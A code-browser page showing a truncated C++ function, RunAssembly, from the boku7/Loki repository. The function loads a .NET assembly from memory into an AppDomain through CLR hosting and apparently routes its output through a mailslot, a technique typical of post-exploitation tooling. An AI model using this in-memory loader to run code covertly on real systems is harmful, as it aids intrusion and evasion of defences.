MCPcopy Create free account
hub / github.com/boku7/Loki / RunAssembly

Function RunAssembly

dev/execute_assembly/node_assembly_execute.cpp:406–551  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

404}
405
406PCHAR RunAssembly(PBYTE AssemblyBuffer, DWORD AssemblySize, AppDomain* pAppDomain, ICorRuntimeHost* pICorRuntimeHost, ICLRGCManager* pICLRGCManager, int argc, PWCHAR argv[]) {
407
408 HRESULT hr = S_OK;
409 Assembly* pAssembly = NULL;
410 MethodInfo* pMethodInfo = NULL;
411 VARIANT vtPsa = { 0 };
412 SAFEARRAYBOUND rgsabound[1] = { 0 };
413 SAFEARRAY* pSafeArray = NULL;
414 PVOID pvData = NULL;
415 VARIANT retVal = { 0 };
416 VARIANT obj = { 0 };
417 long idx[1] = { 0 };
418 SAFEARRAY* psaStaticMethodArgs = NULL;
419
420 HANDLE stdOutput = NULL;
421 HANDLE stdError = NULL;
422 HANDLE mainHandle = NULL;
423 HANDLE hFile = NULL;
424 // \\.\mailslot\_node
425 CHAR slotPath[] = { '\\', '\\', '.', '\\', 'm', 'a', 'i', 'l', 's', 'l', 'o', 't', '\\', '_', 'n', 'o', 'd', 'e', '\0' }; // TODO: CHANGE THIS
426 BOOL success = 1;
427 size_t size = 65535;
428
429 char* returnData = (char*)intAlloc(size);
430 memset(returnData, 0, size);
431
432 ZeroMemory(&retVal, sizeof(VARIANT));
433 ZeroMemory(&obj, sizeof(VARIANT));
434
435 // Prep SafeArray
436 rgsabound[0].cElements = AssemblySize;
437 rgsabound[0].lLbound = 0;
438 pSafeArray = Api.SafeArrayCreate(VT_UI1, 1, rgsabound);
439 Api.SafeArrayAccessData(pSafeArray, &pvData);
440 memcpy(pvData, AssemblyBuffer, AssemblySize);
441
442 // Prep AppDomain and EntryPoint
443 hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly);
444 if (hr != S_OK) {
445 sprintf(returnData, "[-] Process refusing to load Assembly: 0x%llx\n", hr);
446 return returnData;
447 }
448 hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
449 if (hr != S_OK) {
450 sprintf(returnData, "[-] Process refusing to find entry point of assembly: 0x%llx\n", hr);
451 return returnData;
452 }
453
454 Api.SafeArrayUnaccessData(pSafeArray);
455
456 // Something
457 obj.vt = VT_NULL;
458
459 // Change cElement to the number of Main arguments
460 psaStaticMethodArgs = Api.SafeArrayCreateVector(VT_VARIANT, 0, (ULONG)1); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
461 vtPsa.vt = (VT_ARRAY | VT_BSTR);
462 vtPsa.parray = Api.SafeArrayCreateVector(VT_BSTR, 0, argc);
463 for (LONG i = 0; i < argc; i++) {

Callers 1

ExecuteAssemblyFunction · 0.85

Calls 3

MakeSlotFunction · 0.85
consoleExistsFunction · 0.85
ReadSlotFunction · 0.85

Tested by

no test coverage detected